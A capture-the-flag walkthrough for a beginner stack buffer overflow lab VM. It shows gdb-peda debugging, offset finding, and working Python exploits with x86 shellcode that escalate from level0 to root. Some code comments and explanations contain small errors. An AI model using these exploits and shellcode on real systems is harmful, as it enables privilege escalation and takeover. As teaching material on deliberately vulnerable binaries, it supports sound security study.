Intro to Stack Buffer Overflow
Overview:
The IntroToStackOverflow virtual machine is an introduction to exploting stack based buffer overflow vulnerability in linux x86 binaries. The pre-compiled binaries you will find on the virtual machine are without any memory address modification prevention flags. This would mean the all memory addresses would be static and protections such as NX, ASLR, DEP, Canary, etc would not be present. After all, this is just to demonstrate the basics of exploiting stack based buffer overflows.
There are 5 levels with starting level at 0 which is meant to show you how the EIP register is overwritten. The EIP is the registry which is what will be controlled to point to the memory address which the program will execute. Therefore, execution of malicious shellcode being possible.
For example, getting a reverse shell or spawning a bash shell with elevated privileges.
I should say that the explanations I will provide, assume you are familiar at least to some extend with memory allocation, stack and binary exploitation.
Level 0 -> Level 1:
Level 0 is created to create an easy way to understand how the EIP register gets overwritten. When the binary is executed it will assign a variable of 32 characters array which will act as the buffer. There is a statement which checks if the user input is 4 “B”s and if so then it will execute /bin/sh.
level0@kali:~$ cat levelOne.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv) {
uid_t uid = geteuid();
setresuid(uid, uid, uid);
long key = 0x12345678;
char buf[32];
strcpy(buf, argv[1]);
printf("Buf is: %s\n", buf);
printf("Key is: 0x%08x\n", key);
if(key == 0x42424242) {
execve("/bin/sh", 0, 0);
}
else {
printf("%s\n", "Sorry try again...");
}
return 0;
}
A strcpy() function is used to obtain the user input and store it in the buf array. However, since the strcpy() function is actually problematic, it will continue to copy information infinitely to the stack therefore overflowing it.
The output of the program would also display what is the value of the EIP register. This is rather a bonus of an easier representation of how the EIP register would look in a debugger.
Provide the program with 32 “A” ./levelOne AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA The following output should be displayed:
level0@kali:~$ ./levelOne AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Key is: 0x12345600
Sorry try again...
The “key” value is 0x12345600 and is not what the program expects which should be 0x42424242. Let’s provide 4 more “A”.
level0@kali:~$ ./levelOne AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Key is: 0x41414141
Sorry try again...
Now the key shows a result of AAAA which the EIP is pointing at. If the 4 “A”s are replaced with “B”s, the key variable would be equal to if statement in the code and a shell would be dropped as level1 user.
level0@kali:~$ ./levelOne AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Key is: 0x42424242
$ id
uid=1001(level1) gid=1000(level0) groups=1000(level0)
$ cat /home/level1/level1.txt
d13e3e4d[REDACTED]
Level 1 -> Level 2:
A quite use python script gdb-peda will be used throughtout this walkthrough and it intergrates with gdb. Finding possible jmp addresses in the binaries would be simpler using gdb-peda.
Follow the instructions in the github page to set up the tool.
Load the compiled binary in gdb $gdb levelTwo. Now let’s show all functions that the program has.
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x00001000 _init
0x00001030 setresuid@plt
0x00001040 printf@plt
0x00001050 geteuid@plt
0x00001060 strcpy@plt
0x00001070 __libc_start_main@plt
0x00001080 execve@plt
0x00001090 setuid@plt
0x000010a0 __cxa_finalize@plt
0x000010b0 _start
0x000010f0 __x86.get_pc_thunk.bx
0x00001100 deregister_tm_clones
0x00001140 register_tm_clones
0x00001190 __do_global_dtors_aux
0x000011e0 frame_dummy
0x000011e5 __x86.get_pc_thunk.dx
0x000011e9 spawn
0x00001224 hello
0x00001264 main
0x000012d0 __libc_csu_init
0x00001330 __libc_csu_fini
0x00001334 _fini
Addresses of interest are:
- 0x000011e9 spawn
- 0x00001224 hello
- 0x00001264 main
Checking the spawn would point to couple of interesting calls. There is a call to setuid() which would set the UID of the user who owns the binary. The second interesting one is execve() which from the binary at level 0 will simply spawn /bin/sh.
gdb-peda$ pd spawn
Dump of assembler code for function spawn:
0x000011e9 <+0>: push ebp
0x000011ea <+1>: mov ebp,esp
0x000011ec <+3>: push ebx
0x000011ed <+4>: sub esp,0x4
0x000011f0 <+7>: call 0x10f0 <__x86.get_pc_thunk.bx>
0x000011f5 <+12>: add ebx,0x2e0b
0x000011fb <+18>: sub esp,0xc
0x000011fe <+21>: push 0x0
-> 0x00001200 <+23>: call 0x1090 <setuid@plt>
0x00001205 <+28>: add esp,0x10
0x00001208 <+31>: sub esp,0x4
0x0000120b <+34>: push 0x0
0x0000120d <+36>: push 0x0
0x0000120f <+38>: lea eax,[ebx-0x1ff8]
0x00001215 <+44>: push eax
-> 0x00001216 <+45>: call 0x1080 <execve@plt>
0x0000121b <+50>: add esp,0x10
0x0000121e <+53>: nop
0x0000121f <+54>: mov ebx,DWORD PTR [ebp-0x4]
0x00001222 <+57>: leave
0x00001223 <+58>: ret
End of assembler dump.
Remember that after execution of the program the addresses will change due to the libraries and such being loaded.
Create a cyclic pattern using gdb-peda and provide the output as the argument to the program.
gdb-peda$ pattern_create 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
[----------------------------------registers-----------------------------------]
EAX: 0x47 ('G')
EBX: 0x413b4141 ('AA;A')
ECX: 0x1
EDX: 0xf7fa9890 --> 0x0
ESI: 0xffffd580 --> 0x2
EDI: 0xf7fa8000 --> 0x1d9d6c
EBP: 0x41412941 ('A)AA')
ESP: 0xffffd530 ("AA0AAFAAbAA1AAGAAcAA2AAH")
-> EIP: 0x61414145 ('EAAa')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61414145
[------------------------------------stack-------------------------------------]
0000| 0xffffd530 ("AA0AAFAAbAA1AAGAAcAA2AAH")
0004| 0xffffd534 ("AFAAbAA1AAGAAcAA2AAH")
0008| 0xffffd538 ("bAA1AAGAAcAA2AAH")
0012| 0xffffd53c ("AAGAAcAA2AAH")
0016| 0xffffd540 ("AcAA2AAH")
0020| 0xffffd544 ("2AAH")
0024| 0xffffd548 --> 0xffffd600 ("0cUV@D\376\367\f\326\377\377P\331\377\367\002")
0028| 0xffffd54c --> 0x3e9
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
-> 0x61414145 in ?? ()
Gdb-peda will then output in a friendly way the allocation of the stack and all memory addresses in the registers. The EIP register is shown that is pointing to address 0x61414145. Since gdb-peda is able to grab the value in ASCII format in the EIP, it is easy to spot that the 4 bytes are likely from the cyclic pattern.
Cyclic patterns are used to generate unique non-repeating values which could be easily identified when trying to find the offset.
gdb-peda$ pattern_offset 0x61414145
1631666501 found at offset: 36
The offset is at 36 bytes, so assuming 4 more would overwrite the EIP register and make it user controllable.
gdb-peda$ r $(python2 -c 'print "A" * 36 + "B" * 4')
[----------------------------------registers-----------------------------------]
EAX: 0x2f ('/')
EBX: 0x41414141 ('AAAA')
ECX: 0x1
EDX: 0xf7fa9890 --> 0x0
ESI: 0xffffd5a0 --> 0x2
EDI: 0xf7fa8000 --> 0x1d9d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd550 --> 0xffffd700 --> 0x3e9
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd550 --> 0xffffd700 --> 0x3e9
0004| 0xffffd554 --> 0x3e9
0008| 0xffffd558 --> 0x3e9
0012| 0xffffd55c --> 0x56556289 (<main+37>: mov DWORD PTR [ebp-0x1c],eax)
0016| 0xffffd560 --> 0xf7fa83fc --> 0xf7fa9200 --> 0x0
0020| 0xffffd564 --> 0x56559000 --> 0x3efc
0024| 0xffffd568 --> 0xffffd640 --> 0xffffd7af ("SHELL=/bin/bash")
0028| 0xffffd56c --> 0x3e9
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
Providing 4 more bytes of B character, shows that EIP is controllable at 40 bytes.
Run the program once inside gdb-peda and crash it, then obtain the address of the spawn function. The address should be as follows after the first run of the program.
gdb-peda$ pd spawn
Dump of assembler code for function spawn:
0x565561e9 <+0>: push ebp
0x565561ea <+1>: mov ebp,esp
0x565561ec <+3>: push ebx
0x565561ed <+4>: sub esp,0x4
0x565561f0 <+7>: call 0x565560f0 <__x86.get_pc_thunk.bx>
0x565561f5 <+12>: add ebx,0x2e0b
0x565561fb <+18>: sub esp,0xc
0x565561fe <+21>: push 0x0
0x56556200 <+23>: call 0x56556090 <setuid@plt>
0x56556205 <+28>: add esp,0x10
0x56556208 <+31>: sub esp,0x4
0x5655620b <+34>: push 0x0
0x5655620d <+36>: push 0x0
0x5655620f <+38>: lea eax,[ebx-0x1ff8]
0x56556215 <+44>: push eax
0x56556216 <+45>: call 0x56556080 <execve@plt>
0x5655621b <+50>: add esp,0x10
0x5655621e <+53>: nop
0x5655621f <+54>: mov ebx,DWORD PTR [ebp-0x4]
0x56556222 <+57>: leave
0x56556223 <+58>: ret
End of assembler dump.
Take the ebp address 0x565561e9 which is the address at which the function gets called. With the information so far, a working python script can be written to exploit the binary and use the spawn as our injection point.
One important step to note is that the memory of the spawn function needs to be converted to little endian format so that the CPU can understand it.
A complete python exploit would be as follows:
#!/usr/bin/env python2
import struct
junk = "A" * 36
eip = struct.pack("<I", 0x565561e9) # Pack the spawn() mem addr in little endian
payload = junk + eip
print payload
The exploit can then be provided as user input to the program and exploit it.
level1@kali:~$ ./levelTwo $(python2 exploit.py)
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�aUV
$ id
uid=1002(level2) gid=1001(level1) groups=1001(level1)
$ cat /home/level2/level2.txt
d658dfc[REDACTED]
Level 2 -> Level 3:
The complexity of the binary is increased at level 2 slightly. Let’s debug the program.
Load the levelThree binary in gdb-peda and list all the functions as was done in the previous challenges.
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x00001000 _init
0x00001030 setresuid@plt
0x00001040 printf@plt
0x00001050 geteuid@plt
0x00001060 strcpy@plt
0x00001070 __libc_start_main@plt
0x00001080 __cxa_finalize@plt
0x00001090 _start
0x000010d0 __x86.get_pc_thunk.bx
0x000010e0 deregister_tm_clones
0x00001120 register_tm_clones
0x00001170 __do_global_dtors_aux
0x000011c0 frame_dummy
0x000011c5 __x86.get_pc_thunk.dx
0x000011c9 overflow
0x00001212 main
0x00001280 __libc_csu_init
0x000012e0 __libc_csu_fini
0x000012e4 _fini
There is a function called overflow at address 0x000011c9. Examine the assembly code of it.
gdb-peda$ pd overflow
Dump of assembler code for function overflow:
0x000011c9 <+0>: push ebp
0x000011ca <+1>: mov ebp,esp
0x000011cc <+3>: push ebx
0x000011cd <+4>: sub esp,0x104
0x000011d3 <+10>: call 0x10d0 <__x86.get_pc_thunk.bx>
0x000011d8 <+15>: add ebx,0x2e28
0x000011de <+21>: sub esp,0x8
0x000011e1 <+24>: push DWORD PTR [ebp+0x8]
0x000011e4 <+27>: lea eax,[ebp-0x108]
0x000011ea <+33>: push eax
-> 0x000011eb <+34>: call 0x1060 <strcpy@plt>
0x000011f0 <+39>: add esp,0x10
0x000011f3 <+42>: sub esp,0x8
0x000011f6 <+45>: lea eax,[ebp-0x108]
0x000011fc <+51>: push eax
0x000011fd <+52>: lea eax,[ebx-0x1ff8]
0x00001203 <+58>: push eax
0x00001204 <+59>: call 0x1040 <printf@plt>
0x00001209 <+64>: add esp,0x10
0x0000120c <+67>: nop
0x0000120d <+68>: mov ebx,DWORD PTR [ebp-0x4]
0x00001210 <+71>: leave
0x00001211 <+72>: ret
End of assembler dump.
Here strcpy() function is used to get information from the user as input and gets printed as output. The strcpy() is shown at address 0x000011eb.
gdb-peda$ pd main
Dump of assembler code for function main:
0x00001212 <+0>: lea ecx,[esp+0x4]
0x00001216 <+4>: and esp,0xfffffff0
0x00001219 <+7>: push DWORD PTR [ecx-0x4]
0x0000121c <+10>: push ebp
0x0000121d <+11>: mov ebp,esp
0x0000121f <+13>: push esi
0x00001220 <+14>: push ebx
0x00001221 <+15>: push ecx
0x00001222 <+16>: sub esp,0x1c
0x00001225 <+19>: call 0x10d0 <__x86.get_pc_thunk.bx>
0x0000122a <+24>: add ebx,0x2dd6
0x00001230 <+30>: mov esi,ecx
0x00001232 <+32>: call 0x1050 <geteuid@plt>
0x00001237 <+37>: mov DWORD PTR [ebp-0x1c],eax
0x0000123a <+40>: sub esp,0x4
0x0000123d <+43>: push DWORD PTR [ebp-0x1c]
0x00001240 <+46>: push DWORD PTR [ebp-0x1c]
0x00001243 <+49>: push DWORD PTR [ebp-0x1c]
0x00001246 <+52>: call 0x1030 <setresuid@plt>
0x0000124b <+57>: add esp,0x10
0x0000124e <+60>: mov eax,DWORD PTR [esi+0x4]
0x00001251 <+63>: add eax,0x4
0x00001254 <+66>: mov eax,DWORD PTR [eax]
0x00001256 <+68>: sub esp,0xc
0x00001259 <+71>: push eax
0x0000125a <+72>: call 0x11c9 <overflow>
0x0000125f <+77>: add esp,0x10
0x00001262 <+80>: mov eax,0x0
0x00001267 <+85>: lea esp,[ebp-0xc]
0x0000126a <+88>: pop ecx
0x0000126b <+89>: pop ebx
0x0000126c <+90>: pop esi
0x0000126d <+91>: pop ebp
0x0000126e <+92>: lea esp,[ecx-0x4]
0x00001271 <+95>: ret
The function overflow() is called but before that a call to set the UID to the user who owns the binary is made, that is level3.
So what needs to be done is, overflow the EIP register, find the offset of the buffer… and then…
The slight complexity of the binary is found here. comparing the previous challenges with level3 shows that at level3 there is no function to spawn a shell. This would require a shellcode be provided supplied by the user.
Let’s create a pattern of 300 characters long and send to the binary to overflow the EIP register and find out the offset.
gdb-peda$ pattern_create 300
'AAA%AAsAABAA$AAnAACAA-AA---SNIP---'
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA---SNIP---'
[----------------------------------registers-----------------------------------]
EAX: 0x132
EBX: 0x25413225 ('%2A%')
ECX: 0x1
EDX: 0xf7fa9890 --> 0x0
ESI: 0xffffd490 --> 0x2
EDI: 0xf7fa8000 --> 0x1d9d6c
EBP: 0x64254148 ('HA%d')
ESP: 0xffffd440 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
EIP: 0x41332541 ('A%3A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41332541
[------------------------------------stack-------------------------------------]
0000| 0xffffd440 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0004| 0xffffd444 ("eA%4A%JA%fA%5A%KA%gA%6A%")
0008| 0xffffd448 ("A%JA%fA%5A%KA%gA%6A%")
0012| 0xffffd44c ("%fA%5A%KA%gA%6A%")
0016| 0xffffd450 ("5A%KA%gA%6A%")
0020| 0xffffd454 ("A%gA%6A%")
0024| 0xffffd458 ("%6A%")
0028| 0xffffd45c --> 0x300
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41332541 in ?? ()
The EIP register was successfully overwritten and now the offset.
gdb-peda$ pattern_offset 0x41332541
1093870913 found at offset: 268
Following the above statement which mentions the binary does not have a function which creates a shell instance, this means that in such cases a jmp call must be found. In particular one that makes the program jump back to the stack pointer - ESP. Such calls are called jmp esp. Some calls might be at ebp or ecx or eax, this really depends on where the user provided data is stored.
Using gdb-peda, finding a call such as jmp esp is easilly found with the following command: jmpcall.
Since the offset is identified, a jmp esp call can be looked up.
gdb-peda$ jmpcall esp
0x56557043 : jmp esp
0x56558043 : jmp esp
Development of an exploit can now begin.
#!/usr/bin/env python2
import struct
ffset = "A" * 268 # offset = 268 (junk)
eip = 0x56558043 # jmpcall : 0x56558043 jmp esp;
ret = struct.pack("<I", eip)
Since the program doesn’t have its own execve() method to launch /bin/sh for example, we need to provide our own.
A shellcode to spawn /bin/sh can be found online. One place is exploit-db.com. In exploit development there is one hex code known as a NOPSLED also known as no operation instruction.
It simply tells a program to not do anything and proceed further in memory until it finds a valid address to execute. This is typically used to allign the stack so that after a jmp esp call a program can simply go straight to the shellcode.
With the information so far, a final exploit can be developed which should look something like the following:
#!/usr/bin/env python2
import struct
offset = "A" * 268 # offset = 268 (junk)
eip = 0x56558043 # jmpcall : 0x56558043 jmp esp;
ret = struct.pack("<I", eip) # pack the jmpcall in little endian
# slide to shellcode
nops = "\x90" * 10
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
) # execve("/bin/sh")
print offset + ret + nops + shellcode
Provide the final exploit as the user input data to the levelThree binary and get access as level3 user.
level2@kali:~$ ./levelThree $(./exploit.py)
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC�UV����������1�Ph//shh/bin��PS��
$ id; cat /home/level3/level3.txt
uid=1003(level3) gid=1002(level2) groups=1002(level2)
2c41d9ef668[REDACTED]
Level 3 -> Level 4:
Obtaining access as level4 user is almost the same as getting access to level3, where the only difference here would the offset.
Therefore, I will not be provided much details regarding the steps of identifing offset and related.
It is good practice to attempt and replicate the steps using the information from the previous challenges.
Idenfing the offset at level4.
gdb-peda$ pattern_create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAa---SNIP---'
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA---SNIP---'
[----------------------------------registers-----------------------------------]
EAX: 0x6a ('j')
EBX: 0x41412d41 ('A-AA')
ECX: 0x1
EDX: 0xf7fa9890 --> 0x0
ESI: 0xffffd6d0 --> 0x2
EDI: 0xf7fa8000 --> 0x1d9d6c
EBP: 0x44414128 ('(AAD')
ESP: 0xffffd680 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x413b4141 ('AA;A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x413b4141
[------------------------------------stack-------------------------------------]
0000| 0xffffd680 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffd684 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffd688 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffd68c ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffd690 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffd694 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffd698 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffd69c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x413b4141 in ?? ()
Using the previously gained information, the offset is adjusted.
gdb-peda$ pattern_offset 0x413b4141
1094402369 found at offset: 28
The final exploit should look like the following:
#!/usr/bin/env python2
import struct
offset = "A" * 28 # offset = 268 (junk)
eip = 0x56558043 # jmpcall : 0x56558043 jmp esp;
ret = struct.pack("<I", eip) # pack the jmpcall in little endian
# slide to shellcode
nops = "\x90" * 10
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
) # execve("/bin/sh")
print offset + ret + nops + shellcode
level3@kali:~$ ./levelFour $(./exploit.py)
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAC�UV����������1�Ph//shh/bin��PS��
$ id; cat /home/level4/level4.txt
uid=1004(level4) gid=1003(level3) groups=1003(level3)
e879069[REDACTED]
Level 4 -> Level 5 (root):
This is the hardest level and reason being is because the program does not have a setreuid() function used to obtain and set the UID to the owner of the binary. This could be observed in the previous challenges. Essentially, a setreuid() combined with a execve() functions have to be somehow added as shellcode to make the binary drop a shell as root.
Upon looking at the functions which the binary has, two would be the most interesting - overflow and main.
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x00001000 _init
0x00001030 printf@plt
0x00001040 gets@plt
0x00001050 __libc_start_main@plt
0x00001060 __cxa_finalize@plt
0x00001070 _start
0x000010b0 __x86.get_pc_thunk.bx
0x000010c0 deregister_tm_clones
0x00001100 register_tm_clones
0x00001150 __do_global_dtors_aux
0x000011a0 frame_dummy
0x000011a5 __x86.get_pc_thunk.dx
0x000011a9 overflow
0x000011ff main
0x0000121b __x86.get_pc_thunk.ax
0x00001220 __libc_csu_init
0x00001280 __libc_csu_fini
0x00001284 _fini
A gets() function is used in the overflow function which similar to strcpy() is vulnerable to the same overflow problem and will also continuesly copy data to the stack until the program crashes.
gdb-peda$ pd overflow
Dump of assembler code for function overflow:
0x000011a9 <+0>: push ebp
0x000011aa <+1>: mov ebp,esp
0x000011ac <+3>: push ebx
0x000011ad <+4>: sub esp,0x14
0x000011b0 <+7>: call 0x10b0 <__x86.get_pc_thunk.bx>
0x000011b5 <+12>: add ebx,0x2e4b
0x000011bb <+18>: sub esp,0x8
0x000011be <+21>: lea eax,[ebx-0x1ff8]
0x000011c4 <+27>: push eax
0x000011c5 <+28>: lea eax,[ebx-0x1fe5]
0x000011cb <+34>: push eax
0x000011cc <+35>: call 0x1030 <printf@plt>
0x000011d1 <+40>: add esp,0x10
0x000011d4 <+43>: sub esp,0xc
0x000011d7 <+46>: lea eax,[ebp-0xc]
0x000011da <+49>: push eax
-> 0x000011db <+50>: call 0x1040 <gets@plt>
0x000011e0 <+55>: add esp,0x10
0x000011e3 <+58>: sub esp,0x8
0x000011e6 <+61>: lea eax,[ebp-0xc]
0x000011e9 <+64>: push eax
0x000011ea <+65>: lea eax,[ebx-0x1fe2]
0x000011f0 <+71>: push eax
0x000011f1 <+72>: call 0x1030 <printf@plt>
0x000011f6 <+77>: add esp,0x10
0x000011f9 <+80>: nop
0x000011fa <+81>: mov ebx,DWORD PTR [ebp-0x4]
0x000011fd <+84>: leave
0x000011fe <+85>: ret
End of assembler dump.
The call to gets() is found at 0x000011db.
The main function’s functionality is as follows:
gdb-peda$ pd main
Dump of assembler code for function main:
0x000011ff <+0>: push ebp
0x00001200 <+1>: mov ebp,esp
0x00001202 <+3>: and esp,0xfffffff0
0x00001205 <+6>: call 0x121b <__x86.get_pc_thunk.ax>
0x0000120a <+11>: add eax,0x2df6
0x0000120f <+16>: call 0x11a9 <overflow>
0x00001214 <+21>: mov eax,0x0
0x00001219 <+26>: leave
0x0000121a <+27>: ret
End of assembler dump.
It is simple function which executes the overflow function.
One thing to note here is, as mentioned above, that there is neither an execve() nor a setreuid() functions are provided. Therefore, a shellcode which uses both would be ideal so that a shell is spawned as root.
Such shellcode can be obtained from shell-storm.org or another place of your choice.
To start developing the exploit, let’s first crash the program and find the offset.
gdb-peda$ pattern_create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)A---SNIP---'
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAE---SNIP---'
Starting program: /home/level4/levelFive 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA---SNIP---'
Enter your input:
Buf:
[Inferior 1 (process 2200) exited normally]
Warning: not running
A small bump in the road with binary is that the program will wait for the user’s input upon launching it. This issue can be bypassed using a python library known as pwntools.
Let’s re-run the program and provide the 300 bytes long string as the user input when requested.
Starting program: /home/level4/levelFive 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA---SNIP---'
Enter your input: 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA---SNIP---'
Buf: 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA---SNIP---'
[----------------------------------registers-----------------------------------]
EAX: 0x134
EBX: 0x41424141 ('AABA')
ECX: 0x1
EDX: 0xf7fa9890 --> 0x0
ESI: 0xf7fa8000 --> 0x1d9d6c
EDI: 0xf7fa8000 --> 0x1d9d6c
EBP: 0x41412441 ('A$AA')
ESP: 0xffffd5f0 ("AA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAd---SNIP---"...)
EIP: 0x4341416e ('nAAC')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x4341416e
[------------------------------------stack-------------------------------------]
0000| 0xffffd5f0 ("AA-AA(AADAA;AA)---SNIP---"..)
0004| 0xffffd5f4 ("A(AADAA;AA)---SNIP---"...)
0008| 0xffffd5f8 ("DAA;AA)---SNIP---"...)
0012| 0xffffd5fc ("AA)---SNIP---"...)
0016| 0xffffd600 ("AEAAaAA0---SNIP---"...)
0020| 0xffffd604 ("aAA0AAFAAbAA1A---SNIP---"...)
0024| 0xffffd608 ("AAFAAbAA1AAGAA---SNIP---"...)
0028| 0xffffd60c ("AbAA1AAGAAcAA2A---SNIP---"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x4341416e in ?? ()
The program crashed which is good and EIP register is poiting to somewhere in the long string. One byte is actually missing so the offset would be 16. If in the final exploit there is 15 characters as the junk the exploit would break when a shell command is executed.
gdb-peda$ pattern_offset 0x4341416e
1128350062 found at offset: 15
As the offset is now found, a jmp call be identified.
gdb-peda$ jmpcall
0x56556019 : call eax
0x565560ec : call eax
0x5655613d : call edx
0x56557067 : jmp [eax]
0x56557ff8 : call [ecx]
0x56558067 : jmp [eax]
Interestingly finding a jmp esp call was not available in the program itself, however, a jmp esp call be found in the libc library. This can be identified as follows:
gdb-peda$ jmpcall esp libc
0xf7dd0bb1 : jmp esp
0xf7dd4ff7 : jmp esp
0xf7dd7037 : jmp esp
0xf7f3f1b0 : call esp
0xf7f48b87 : call esp
0xf7f48bc3 : call esp
0xf7f48c07 : call esp
0xf7f547db : jmp esp
0xf7f55937 : jmp esp
0xf7f55b77 : call esp
0xf7f55b83 : call esp
0xf7f55c7b : call esp
0xf7f55d3f : call esp
0xf7f55e37 : call esp
0xf7f560f7 : call esp
0xf7f56103 : call esp
0xf7f5627f : jmp esp
0xf7f562f3 : call esp
0xf7f56323 : jmp esp
0xf7f563eb : jmp esp
0xf7f5661b : jmp esp
0xf7f566e3 : jmp esp
0xf7f567e3 : call esp
0xf7f56993 : jmp esp
0xf7f56b13 : jmp esp
--More--(25/141)
First address can be used or any other that has a jmp esp call. This can be checked by sending the address to the EIP register and checking if a jmp esp call is done.
Here usage of the pwntools library is done due how simple it is send the payload to the binary.
A final exploit should look something like this which would use struct python library to pack the jmp esp address to little endian.
#!/usr/bin/env python2
# offset = 16
# eip = 20
# libc jmpesp = jmpcall esp libc : 0xf7dd0bb1 - jmp esp;
from pwn import *
import struct
junk = "A" * 16
libc_jmpesp = 0xf7dd0bb1
libc_jmpesp = struct.pack("<I",libc_jmpesp)
nops = "\x90" * 10
shellcode = (
"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46"
"\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
) # setreuid(geteuid(),geteuid()),execve("/bin/sh",0,0) 34byte universal shellcode
payload = junk + libc_jmpesp + nops + shellcode
io = process('./levelFive')
io.sendline(payload)
io.interactive()
When the exploit is executed, an interactive session as root should be started.
level4@kali:~$ ./exploit.py
[+] Starting local process './levelFive': pid 3433
[*] Switching to interactive mode
Enter your input: Buf: AAAAAAAAAAAAAAAA\xb1\x0b����\x90\x90\x90\x90\x90\x90\x90j1X\x99̀\x89É�jFX̀\xb0\x0bhn/shh//bi\x89��̀
$ id; cat /root/root.txt
uid=0(root) gid=1004(level4) groups=1004(level4)
1d0b5[REDACTED]
$
Of course only pwntools library can be used to create a working PoC.
#!/usr/bin/env python2
from pwn import *
payload = ''
payload += "A" * 16
payload += p32(0xf7dd0bb1)
payload += "\90" * 10
payload += asm(shellcraft.i386.linux.setreuid())
payload += asm(shellcraft.i386.linux.sh())
p = process('./levelFive')
p.sendline(payload)
p.interactive()
References:
https://www.vulnhub.com/entry/stack-overflows-for-beginners-101,290/